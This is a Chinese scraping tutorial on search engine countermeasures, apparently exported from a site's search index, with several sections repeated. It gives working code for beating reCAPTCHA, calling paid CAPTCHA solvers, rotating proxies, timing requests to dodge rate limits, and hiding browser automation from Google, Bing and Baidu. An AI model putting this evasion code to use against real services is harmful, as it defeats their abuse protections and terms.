检测是否触发 CAPTCHA if 'captcha' in response.text.lower() or response.status_code == 429: print(f\"CAPTCHA triggered after {request_count} requests\") captcha_triggered = True else: print(f\"Request {request_count}: OK\") time.sleep(1) # 每秒 1 次请求 test_rate_limit() 结果: Google: 约 20-30 次/分钟（IP） Bing: 约 50-60 次/分钟 百度: 约 100 次/分钟 2. reCAPTCHA v3 绕过 reCAPTCHA v3 不显示验证码，而是评分（0.0-1.0）: from playwright.sync_api import sync_playwright import time class RecaptchaV3Bypass: def __init__(self): self.playwright = None self.browser = None def solve_recaptcha(self, url, site_key, action='search'): \"\"\" 通过模拟真实用户行为来提高 reCAPTCHA 评分 \"\"\" with sync_playwright() as p: # 使用真实浏览器配置 browser = p.chromium.launch( headless=False, # 非无头模式评分更高 args=[ '--disable-blink-features=AutomationControlled', '--disable-dev-shm-usage' ] ) context = browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) # 加载真实 Cookie（从浏览器导出） context.add_cookies([ { 'name': 'NID', 'value': 'your_google_cookie', 'domain': '.google.com', 'path': '/' } ]) page = context.new_page() # 模拟真实用户行为 page.goto(url) # 随机鼠标移动 for _ in range(10): x = random.randint(100, 800) y = random.randint(100, 600) page.mouse.move(x, y) time.sleep(random.uniform(0.1, 0.3)) # 触发 reCAPTCHA token = page.evaluate(f\"\"\" new Promise((resolve) =\u003e {{ grecaptcha.ready(() =\u003e {{ grecaptcha.execute('{site_key}', {{action: '{action}'}}) .then(token =\u003e resolve(token)); }}); }}) \"\"\") browser.close() return token def search_with_recaptcha(self, query): \"\"\"带 reCAPTCHA 的搜索\"\"\" token = self.solve_recaptcha( 'https://www.google.com', site_key='6LfxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxE' ) # 使用 token 进行搜索 response = requests.get( 'https://www.google.com/search', params={ 'q': query, 'recaptcha_token': token } ) return response.text 3. 使用第三方 CAPTCHA 求解服务 import requests from twocaptcha import TwoCaptcha class CaptchaSolver: def __init__(self, api_key): self.solver = TwoCaptcha(api_key) def solve_recaptcha_v2(self, site_key, page_url): \"\"\"求解 reCAPTCHA v2\"\"\" try: result = self.solver.recaptcha( sitekey=site_key, url=page_url ) return result['code'] except Exception as e: print(f\"Error: {e}\") return None def solve_hcaptcha(self, site_key, page_url): \"\"\"求解 hCaptcha\"\"\" try: result = self.solver.hcaptcha( sitekey=site_key, url=page_url ) return result['code'] except Exception as e: print(f\"Error: {e}\") return None # 使用示例 solver = CaptchaSolver(api_key='your_2captcha_api_key') token = solver.solve_recaptcha_v2( site_key='6LfxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxE', page_url='https://www.google.com/search?q=test' ) # 提交带 token 的请求 response = requests.post( 'https://www.google.com/search', data={ 'q': 'test', 'g-recaptcha-response': token } ) ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#3-使用第三方-captcha-求解服务"},{"categories":null,"collections":null,"content":"频率限制绕过 1. IP 轮换 import requests from itertools import cycle class ProxyRotator: def __init__(self, proxy_list): \"\"\" proxy_list: ['http://1.2.3.4:8080', 'http://5.6.7.8:8080', ...] \"\"\" self.proxy_pool = cycle(proxy_list) self.session = requests.Session() def get_with_rotation(self, url, params=None): \"\"\"使用代理轮换发送请求\"\"\" max_retries = 5 for _ in range(max_retries): proxy = next(self.proxy_pool) try: response = self.session.get( url, params=params, proxies={'http': proxy, 'https': proxy}, timeout=10 ) if response.status_code == 200: return response except Exception as e: print(f\"Proxy {proxy} failed: {e}\") continue raise Exception(\"All proxies failed\") # 使用代理池进行搜索 proxy_list = [ 'http://proxy1.example.com:8080', 'http://proxy2.example.com:8080', 'http://proxy3.example.com:8080', ] rotator = ProxyRotator(proxy_list) for i in range(100): response = rotator.get_with_rotation( 'https://www.google.com/search', params={'q': f'query {i}'} ) print(f\"Search {i}: {response.status_code}\") 2. 请求间隔随机化 import random import time class RateLimitEvader: def __init__(self, min_delay=2.0, max_delay=5.0): self.min_delay = min_delay self.max_delay = max_delay self.last_request_time = 0 def wait(self): \"\"\"智能等待，避免被检测\"\"\" current_time = time.time() elapsed = current_time - self.last_request_time # 使用正态分布生成延迟（更接近人类行为） delay = random.gauss( (self.min_delay + self.max_delay) / 2, (self.max_delay - self.min_delay) / 4 ) delay = max(self.min_delay, min(self.max_delay, delay)) if elapsed \u003c delay: time.sleep(delay - elapsed) self.last_request_time = time.time() def search(self, query): \"\"\"带智能延迟的搜索\"\"\" self.wait() response = requests.get( 'https://www.google.com/search', params={'q': query} ) return response.text # 使用示例 evader = RateLimitEvader(min_delay=3.0, max_delay=7.0) for i in range(100): result = evader.search(f'query {i}') print(f\"Search {i} completed\") ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:4","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#频率限制绕过"},{"categories":null,"collections":null,"content":"频率限制绕过 1. IP 轮换 import requests from itertools import cycle class ProxyRotator: def __init__(self, proxy_list): \"\"\" proxy_list: ['http://1.2.3.4:8080', 'http://5.6.7.8:8080', ...] \"\"\" self.proxy_pool = cycle(proxy_list) self.session = requests.Session() def get_with_rotation(self, url, params=None): \"\"\"使用代理轮换发送请求\"\"\" max_retries = 5 for _ in range(max_retries): proxy = next(self.proxy_pool) try: response = self.session.get( url, params=params, proxies={'http': proxy, 'https': proxy}, timeout=10 ) if response.status_code == 200: return response except Exception as e: print(f\"Proxy {proxy} failed: {e}\") continue raise Exception(\"All proxies failed\") # 使用代理池进行搜索 proxy_list = [ 'http://proxy1.example.com:8080', 'http://proxy2.example.com:8080', 'http://proxy3.example.com:8080', ] rotator = ProxyRotator(proxy_list) for i in range(100): response = rotator.get_with_rotation( 'https://www.google.com/search', params={'q': f'query {i}'} ) print(f\"Search {i}: {response.status_code}\") 2. 请求间隔随机化 import random import time class RateLimitEvader: def __init__(self, min_delay=2.0, max_delay=5.0): self.min_delay = min_delay self.max_delay = max_delay self.last_request_time = 0 def wait(self): \"\"\"智能等待，避免被检测\"\"\" current_time = time.time() elapsed = current_time - self.last_request_time # 使用正态分布生成延迟（更接近人类行为） delay = random.gauss( (self.min_delay + self.max_delay) / 2, (self.max_delay - self.min_delay) / 4 ) delay = max(self.min_delay, min(self.max_delay, delay)) if elapsed \u003c delay: time.sleep(delay - elapsed) self.last_request_time = time.time() def search(self, query): \"\"\"带智能延迟的搜索\"\"\" self.wait() response = requests.get( 'https://www.google.com/search', params={'q': query} ) return response.text # 使用示例 evader = RateLimitEvader(min_delay=3.0, max_delay=7.0) for i in range(100): result = evader.search(f'query {i}') print(f\"Search {i} completed\") ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:4","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#1-ip-轮换"},{"categories":null,"collections":null,"content":"频率限制绕过 1. IP 轮换 import requests from itertools import cycle class ProxyRotator: def __init__(self, proxy_list): \"\"\" proxy_list: ['http://1.2.3.4:8080', 'http://5.6.7.8:8080', ...] \"\"\" self.proxy_pool = cycle(proxy_list) self.session = requests.Session() def get_with_rotation(self, url, params=None): \"\"\"使用代理轮换发送请求\"\"\" max_retries = 5 for _ in range(max_retries): proxy = next(self.proxy_pool) try: response = self.session.get( url, params=params, proxies={'http': proxy, 'https': proxy}, timeout=10 ) if response.status_code == 200: return response except Exception as e: print(f\"Proxy {proxy} failed: {e}\") continue raise Exception(\"All proxies failed\") # 使用代理池进行搜索 proxy_list = [ 'http://proxy1.example.com:8080', 'http://proxy2.example.com:8080', 'http://proxy3.example.com:8080', ] rotator = ProxyRotator(proxy_list) for i in range(100): response = rotator.get_with_rotation( 'https://www.google.com/search', params={'q': f'query {i}'} ) print(f\"Search {i}: {response.status_code}\") 2. 请求间隔随机化 import random import time class RateLimitEvader: def __init__(self, min_delay=2.0, max_delay=5.0): self.min_delay = min_delay self.max_delay = max_delay self.last_request_time = 0 def wait(self): \"\"\"智能等待，避免被检测\"\"\" current_time = time.time() elapsed = current_time - self.last_request_time # 使用正态分布生成延迟（更接近人类行为） delay = random.gauss( (self.min_delay + self.max_delay) / 2, (self.max_delay - self.min_delay) / 4 ) delay = max(self.min_delay, min(self.max_delay, delay)) if elapsed \u003c delay: time.sleep(delay - elapsed) self.last_request_time = time.time() def search(self, query): \"\"\"带智能延迟的搜索\"\"\" self.wait() response = requests.get( 'https://www.google.com/search', params={'q': query} ) return response.text # 使用示例 evader = RateLimitEvader(min_delay=3.0, max_delay=7.0) for i in range(100): result = evader.search(f'query {i}') print(f\"Search {i} completed\") ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:4","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#2-请求间隔随机化"},{"categories":null,"collections":null,"content":"案例 2: 搜索结果 API 逆向 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:3:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#案例-2-搜索结果-api-逆向"},{"categories":null,"collections":null,"content":"背景 搜索引擎通常有内部 API（用于自动补全、相关搜索等），这些 API 的防护相对较弱。 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:3:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#背景-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. 发现隐藏 API 使用 Chrome DevTools 监控网络请求: Google 自动补全 API: GET /complete/search?q=python\u0026client=chrome HTTP/1.1 Host: www.google.com 响应: Bing 搜索建议 API: GET /AS/Suggestions?pt=page.home\u0026mkt=en-US\u0026qry=javascript\u0026cp=10\u0026cvid=xxx Host: www.bing.com 2. 逆向签名算法 某些 API 需要签名参数: // 在 Bing 搜索页面的 JS 中找到 function generateSearchSignature(query, timestamp) { const secret = \"bing_api_secret_2024\"; const str = `${query}|${timestamp}|${secret}`; return CryptoJS.SHA256(str).toString(); } function searchAPI(query) { const timestamp = Date.now(); const sig = generateSearchSignature(query, timestamp); return fetch( `/api/search?q=${encodeURIComponent(query)}\u0026t=${timestamp}\u0026sig=${sig}` ).then((r) =\u003e r.json()); } ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:3:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#逆向步骤-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. 发现隐藏 API 使用 Chrome DevTools 监控网络请求: Google 自动补全 API: GET /complete/search?q=python\u0026client=chrome HTTP/1.1 Host: www.google.com 响应: Bing 搜索建议 API: GET /AS/Suggestions?pt=page.home\u0026mkt=en-US\u0026qry=javascript\u0026cp=10\u0026cvid=xxx Host: www.bing.com 2. 逆向签名算法 某些 API 需要签名参数: // 在 Bing 搜索页面的 JS 中找到 function generateSearchSignature(query, timestamp) { const secret = \"bing_api_secret_2024\"; const str = `${query}|${timestamp}|${secret}`; return CryptoJS.SHA256(str).toString(); } function searchAPI(query) { const timestamp = Date.now(); const sig = generateSearchSignature(query, timestamp); return fetch( `/api/search?q=${encodeURIComponent(query)}\u0026t=${timestamp}\u0026sig=${sig}` ).then((r) =\u003e r.json()); } ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:3:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#1-发现隐藏-api"},{"categories":null,"collections":null,"content":"逆向步骤 1. 发现隐藏 API 使用 Chrome DevTools 监控网络请求: Google 自动补全 API: GET /complete/search?q=python\u0026client=chrome HTTP/1.1 Host: www.google.com 响应: Bing 搜索建议 API: GET /AS/Suggestions?pt=page.home\u0026mkt=en-US\u0026qry=javascript\u0026cp=10\u0026cvid=xxx Host: www.bing.com 2. 逆向签名算法 某些 API 需要签名参数: // 在 Bing 搜索页面的 JS 中找到 function generateSearchSignature(query, timestamp) { const secret = \"bing_api_secret_2024\"; const str = `${query}|${timestamp}|${secret}`; return CryptoJS.SHA256(str).toString(); } function searchAPI(query) { const timestamp = Date.now(); const sig = generateSearchSignature(query, timestamp); return fetch( `/api/search?q=${encodeURIComponent(query)}\u0026t=${timestamp}\u0026sig=${sig}` ).then((r) =\u003e r.json()); } ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:3:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#2-逆向签名算法"},{"categories":null,"collections":null,"content":"Python 实现 import requests import hashlib import time import json class SearchEngineAPI: def __init__(self): self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json', 'Referer': 'https://www.google.com/' }) def google_autocomplete(self, query): \"\"\"Google 自动补全 API\"\"\" url = 'https://www.google.com/complete/search' params = { 'q': query, 'client': 'chrome', # 或 'firefox', 'safari' 'hl': 'en' } response = self.session.get(url, params=params) # 响应格式: [query, [suggestions], ...] data = response.json() return data[1] if len(data) \u003e 1 else [] def bing_suggestions(self, query): \"\"\"Bing 搜索建议 API\"\"\" url = 'https://www.bing.com/AS/Suggestions' params = { 'pt': 'page.home', 'mkt': 'en-US', 'qry': query, 'cp': len(query), 'cvid': self._generate_cvid() } response = self.session.get(url, params=params) data = response.json() # 提取建议 suggestions = [] for group in data.get('AS', {}).get('Results', []): for item in group.get('Suggests', []): suggestions.append(item.get('Txt')) return suggestions def _generate_cvid(self): \"\"\"生成 Bing 的 CVID (Correlation Vector ID)\"\"\" import uuid return str(uuid.uuid4()).replace('-', '') def baidu_suggestion(self, query): \"\"\"百度搜索建议 API\"\"\" url = 'https://www.baidu.com/sugrec' params = { 'prod': 'pc', 'wd': query, 'cb': 'jQuery' # JSONP callback } response = self.session.get(url, params=params) # 解析 JSONP 响应 text = response.text json_str = text[text.index('(') + 1:text.rindex(')')] data = json.loads(json_str) suggestions = [item['q'] for item in data.get('g', [])] return suggestions def signed_search(self, query, secret_key=\"bing_api_secret_2024\"): \"\"\"带签名的搜索 API\"\"\" timestamp = int(time.time()) sig = self._generate_signature(query, timestamp, secret_key) url = 'https://api.search.example.com/search' params = { 'q': query, 't': timestamp, 'sig': sig } response = self.session.get(url, params=params) return response.json() def _generate_signature(self, query, timestamp, secret): \"\"\"生成搜索签名\"\"\" str_to_sign = f\"{query}|{timestamp}|{secret}\" return hashlib.sha256(str_to_sign.encode()).hexdigest() # 使用示例 api = SearchEngineAPI() # Google 自动补全 suggestions = api.google_autocomplete('python') print(\"Google suggestions:\", suggestions) # Bing 建议 bing_suggestions = api.bing_suggestions('javascript') print(\"Bing suggestions:\", bing_suggestions) # 百度建议 baidu_suggestions = api.baidu_suggestion('机器学习') print(\"Baidu suggestions:\", baidu_suggestions) ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:3:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#python-实现"},{"categories":null,"collections":null,"content":"案例 3: JavaScript 渲染结果提取 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:4:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#案例-3-javascript-渲染结果提取"},{"categories":null,"collections":null,"content":"背景 现代搜索引擎大量使用 JavaScript 渲染结果（SPA），静态爬虫无法获取完整内容。 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:4:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#背景-2"},{"categories":null,"collections":null,"content":"挑战 动态加载: 滚动加载更多结果 延迟渲染: 结果分批渲染 反调试: 检测 DevTools、Selenium ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:4:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#挑战"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Playwright（推荐） from playwright.sync_api import sync_playwright import time class JavaScriptSearchScraper: def __init__(self): self.playwright = None self.browser = None self.context = None def setup(self): \"\"\"初始化浏览器\"\"\" self.playwright = sync_playwright().start() # 使用隐身模式，避免检测 self.browser = self.playwright.chromium.launch( headless=True, args=[ '--disable-blink-features=AutomationControlled', '--disable-dev-shm-usage', '--no-sandbox' ] ) # 修改 navigator.webdriver self.context = self.browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) self.context.add_init_script(\"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); \"\"\") def search_google(self, query, num_results=100): \"\"\"搜索 Google 并提取结果\"\"\" page = self.context.new_page() # 访问搜索页面 page.goto(f'https://www.google.com/search?q={query}') # 等待结果加载 page.wait_for_selector('#search', timeout=10000) results = [] loaded_results = 0 # 滚动加载更多结果 while loaded_results \u003c num_results: # 提取当前可见结果 items = page.query_selector_all('.g') for item in items[loaded_results:]: try: title_elem = item.query_selector('h3') link_elem = item.query_selector('a') snippet_elem = item.query_selector('.VwiC3b') if title_elem and link_elem: results.append({ 'title': title_elem.inner_text(), 'url': link_elem.get_attribute('href'), 'snippet': snippet_elem.inner_text() if snippet_elem else '' }) except Exception as e: continue loaded_results = len(results) # 滚动到底部 page.evaluate('window.scrollTo(0, document.body.scrollHeight)') time.sleep(1) # 检查是否有\"更多结果\"按钮 more_button = page.query_selector('a#pnnext') if more_button and loaded_results \u003c num_results: more_button.click() page.wait_for_load_state('networkidle') else: break page.close() return results def search_bing(self, query): \"\"\"搜索 Bing（处理无限滚动）\"\"\" page = self.context.new_page() page.goto(f'https://www.bing.com/search?q={query}') # 等待结果 page.wait_for_selector('.b_algo') results = [] last_height = 0 # 无限滚动 while True: # 提取结果 items = page.query_selector_all('.b_algo') for item in items[len(results):]: try: title = item.query_selector('h2').inner_text() url = item.query_selector('a').get_attribute('href') snippet = item.query_selector('.b_caption p').inner_text() results.append({ 'title': title, 'url': url, 'snippet': snippet }) except: continue # 滚动 page.evaluate('window.scrollTo(0, document.body.scrollHeight)') time.sleep(2) # 检查是否加载了新内容 new_height = page.evaluate('document.body.scrollHeight') if new_height == last_height: break last_height = new_height page.close() return results def cleanup(self): \"\"\"清理资源\"\"\" if self.context: self.context.close() if self.browser: self.browser.close() if self.playwright: self.playwright.stop() # 使用示例 scraper = JavaScriptSearchScraper() scraper.setup() try: google_results = scraper.search_google('python tutorial', num_results=50) print(f\"Found {len(google_results)} Google results\") for result in google_results[:5]: print(f\"- {result['title']}: {result['url']}\") finally: scraper.cleanup() 2. 绕过反自动化检测 from playwright.sync_api import sync_playwright from playwright_stealth import stealth_sync class StealthScraper: def __init__(self): self.playwright = sync_playwright().start() # 使用 playwright-stealth 插件 self.browser = self.playwright.chromium.launch(headless=True) self.context = self.browser.new_context() def scrape_with_stealth(self, url): \"\"\"使用隐身模式爬取\"\"\" page = self.context.new_page() # 应用 stealth 模式 stealth_sync(page) # 添加额外的反检测措施 page.add_init_script(\"\"\" // 覆盖 navigator.webdriver Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); // 覆盖 chrome 对象 window.chrome = { runtime: {} }; // 覆盖 permissions const originalQuery = window.navigator.permissions.query; window.navigator.permissions.query = (parameters) =\u003e ( parameters.name === 'notifications' ? Promise.resolve({ state: Notification.permission }) : originalQuery(parameters) ); // 覆盖 plugins Object.defineProperty(navigator, 'plugins', { get: () =\u003e [1","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:4:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#解决方案"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Playwright（推荐） from playwright.sync_api import sync_playwright import time class JavaScriptSearchScraper: def __init__(self): self.playwright = None self.browser = None self.context = None def setup(self): \"\"\"初始化浏览器\"\"\" self.playwright = sync_playwright().start() # 使用隐身模式，避免检测 self.browser = self.playwright.chromium.launch( headless=True, args=[ '--disable-blink-features=AutomationControlled', '--disable-dev-shm-usage', '--no-sandbox' ] ) # 修改 navigator.webdriver self.context = self.browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) self.context.add_init_script(\"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); \"\"\") def search_google(self, query, num_results=100): \"\"\"搜索 Google 并提取结果\"\"\" page = self.context.new_page() # 访问搜索页面 page.goto(f'https://www.google.com/search?q={query}') # 等待结果加载 page.wait_for_selector('#search', timeout=10000) results = [] loaded_results = 0 # 滚动加载更多结果 while loaded_results \u003c num_results: # 提取当前可见结果 items = page.query_selector_all('.g') for item in items[loaded_results:]: try: title_elem = item.query_selector('h3') link_elem = item.query_selector('a') snippet_elem = item.query_selector('.VwiC3b') if title_elem and link_elem: results.append({ 'title': title_elem.inner_text(), 'url': link_elem.get_attribute('href'), 'snippet': snippet_elem.inner_text() if snippet_elem else '' }) except Exception as e: continue loaded_results = len(results) # 滚动到底部 page.evaluate('window.scrollTo(0, document.body.scrollHeight)') time.sleep(1) # 检查是否有\"更多结果\"按钮 more_button = page.query_selector('a#pnnext') if more_button and loaded_results \u003c num_results: more_button.click() page.wait_for_load_state('networkidle') else: break page.close() return results def search_bing(self, query): \"\"\"搜索 Bing（处理无限滚动）\"\"\" page = self.context.new_page() page.goto(f'https://www.bing.com/search?q={query}') # 等待结果 page.wait_for_selector('.b_algo') results = [] last_height = 0 # 无限滚动 while True: # 提取结果 items = page.query_selector_all('.b_algo') for item in items[len(results):]: try: title = item.query_selector('h2').inner_text() url = item.query_selector('a').get_attribute('href') snippet = item.query_selector('.b_caption p').inner_text() results.append({ 'title': title, 'url': url, 'snippet': snippet }) except: continue # 滚动 page.evaluate('window.scrollTo(0, document.body.scrollHeight)') time.sleep(2) # 检查是否加载了新内容 new_height = page.evaluate('document.body.scrollHeight') if new_height == last_height: break last_height = new_height page.close() return results def cleanup(self): \"\"\"清理资源\"\"\" if self.context: self.context.close() if self.browser: self.browser.close() if self.playwright: self.playwright.stop() # 使用示例 scraper = JavaScriptSearchScraper() scraper.setup() try: google_results = scraper.search_google('python tutorial', num_results=50) print(f\"Found {len(google_results)} Google results\") for result in google_results[:5]: print(f\"- {result['title']}: {result['url']}\") finally: scraper.cleanup() 2. 绕过反自动化检测 from playwright.sync_api import sync_playwright from playwright_stealth import stealth_sync class StealthScraper: def __init__(self): self.playwright = sync_playwright().start() # 使用 playwright-stealth 插件 self.browser = self.playwright.chromium.launch(headless=True) self.context = self.browser.new_context() def scrape_with_stealth(self, url): \"\"\"使用隐身模式爬取\"\"\" page = self.context.new_page() # 应用 stealth 模式 stealth_sync(page) # 添加额外的反检测措施 page.add_init_script(\"\"\" // 覆盖 navigator.webdriver Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); // 覆盖 chrome 对象 window.chrome = { runtime: {} }; // 覆盖 permissions const originalQuery = window.navigator.permissions.query; window.navigator.permissions.query = (parameters) =\u003e ( parameters.name === 'notifications' ? Promise.resolve({ state: Notification.permission }) : originalQuery(parameters) ); // 覆盖 plugins Object.defineProperty(navigator, 'plugins', { get: () =\u003e [1","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:4:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#1-使用-playwright推荐"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Playwright（推荐） from playwright.sync_api import sync_playwright import time class JavaScriptSearchScraper: def __init__(self): self.playwright = None self.browser = None self.context = None def setup(self): \"\"\"初始化浏览器\"\"\" self.playwright = sync_playwright().start() # 使用隐身模式，避免检测 self.browser = self.playwright.chromium.launch( headless=True, args=[ '--disable-blink-features=AutomationControlled', '--disable-dev-shm-usage', '--no-sandbox' ] ) # 修改 navigator.webdriver self.context = self.browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) self.context.add_init_script(\"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); \"\"\") def search_google(self, query, num_results=100): \"\"\"搜索 Google 并提取结果\"\"\" page = self.context.new_page() # 访问搜索页面 page.goto(f'https://www.google.com/search?q={query}') # 等待结果加载 page.wait_for_selector('#search', timeout=10000) results = [] loaded_results = 0 # 滚动加载更多结果 while loaded_results \u003c num_results: # 提取当前可见结果 items = page.query_selector_all('.g') for item in items[loaded_results:]: try: title_elem = item.query_selector('h3') link_elem = item.query_selector('a') snippet_elem = item.query_selector('.VwiC3b') if title_elem and link_elem: results.append({ 'title': title_elem.inner_text(), 'url': link_elem.get_attribute('href'), 'snippet': snippet_elem.inner_text() if snippet_elem else '' }) except Exception as e: continue loaded_results = len(results) # 滚动到底部 page.evaluate('window.scrollTo(0, document.body.scrollHeight)') time.sleep(1) # 检查是否有\"更多结果\"按钮 more_button = page.query_selector('a#pnnext') if more_button and loaded_results \u003c num_results: more_button.click() page.wait_for_load_state('networkidle') else: break page.close() return results def search_bing(self, query): \"\"\"搜索 Bing（处理无限滚动）\"\"\" page = self.context.new_page() page.goto(f'https://www.bing.com/search?q={query}') # 等待结果 page.wait_for_selector('.b_algo') results = [] last_height = 0 # 无限滚动 while True: # 提取结果 items = page.query_selector_all('.b_algo') for item in items[len(results):]: try: title = item.query_selector('h2').inner_text() url = item.query_selector('a').get_attribute('href') snippet = item.query_selector('.b_caption p').inner_text() results.append({ 'title': title, 'url': url, 'snippet': snippet }) except: continue # 滚动 page.evaluate('window.scrollTo(0, document.body.scrollHeight)') time.sleep(2) # 检查是否加载了新内容 new_height = page.evaluate('document.body.scrollHeight') if new_height == last_height: break last_height = new_height page.close() return results def cleanup(self): \"\"\"清理资源\"\"\" if self.context: self.context.close() if self.browser: self.browser.close() if self.playwright: self.playwright.stop() # 使用示例 scraper = JavaScriptSearchScraper() scraper.setup() try: google_results = scraper.search_google('python tutorial', num_results=50) print(f\"Found {len(google_results)} Google results\") for result in google_results[:5]: print(f\"- {result['title']}: {result['url']}\") finally: scraper.cleanup() 2. 绕过反自动化检测 from playwright.sync_api import sync_playwright from playwright_stealth import stealth_sync class StealthScraper: def __init__(self): self.playwright = sync_playwright().start() # 使用 playwright-stealth 插件 self.browser = self.playwright.chromium.launch(headless=True) self.context = self.browser.new_context() def scrape_with_stealth(self, url): \"\"\"使用隐身模式爬取\"\"\" page = self.context.new_page() # 应用 stealth 模式 stealth_sync(page) # 添加额外的反检测措施 page.add_init_script(\"\"\" // 覆盖 navigator.webdriver Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); // 覆盖 chrome 对象 window.chrome = { runtime: {} }; // 覆盖 permissions const originalQuery = window.navigator.permissions.query; window.navigator.permissions.query = (parameters) =\u003e ( parameters.name === 'notifications' ? Promise.resolve({ state: Notification.permission }) : originalQuery(parameters) ); // 覆盖 plugins Object.defineProperty(navigator, 'plugins', { get: () =\u003e [1","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:4:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#2-绕过反自动化检测"},{"categories":null,"collections":null,"content":"案例 4: 搜索排名监控 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:5:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#案例-4-搜索排名监控"},{"categories":null,"collections":null,"content":"背景 SEO 工具需要监控关键词排名，但搜索引擎会返回个性化结果。 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:5:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#背景-3"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用个性化 class UnbiasedSearchMonitor: def __init__(self): self.session = requests.Session() def google_unbiased_search(self, query): \"\"\"获取非个性化的 Google 搜索结果\"\"\" url = 'https://www.google.com/search' # 使用特殊参数禁用个性化 params = { 'q': query, 'pws': 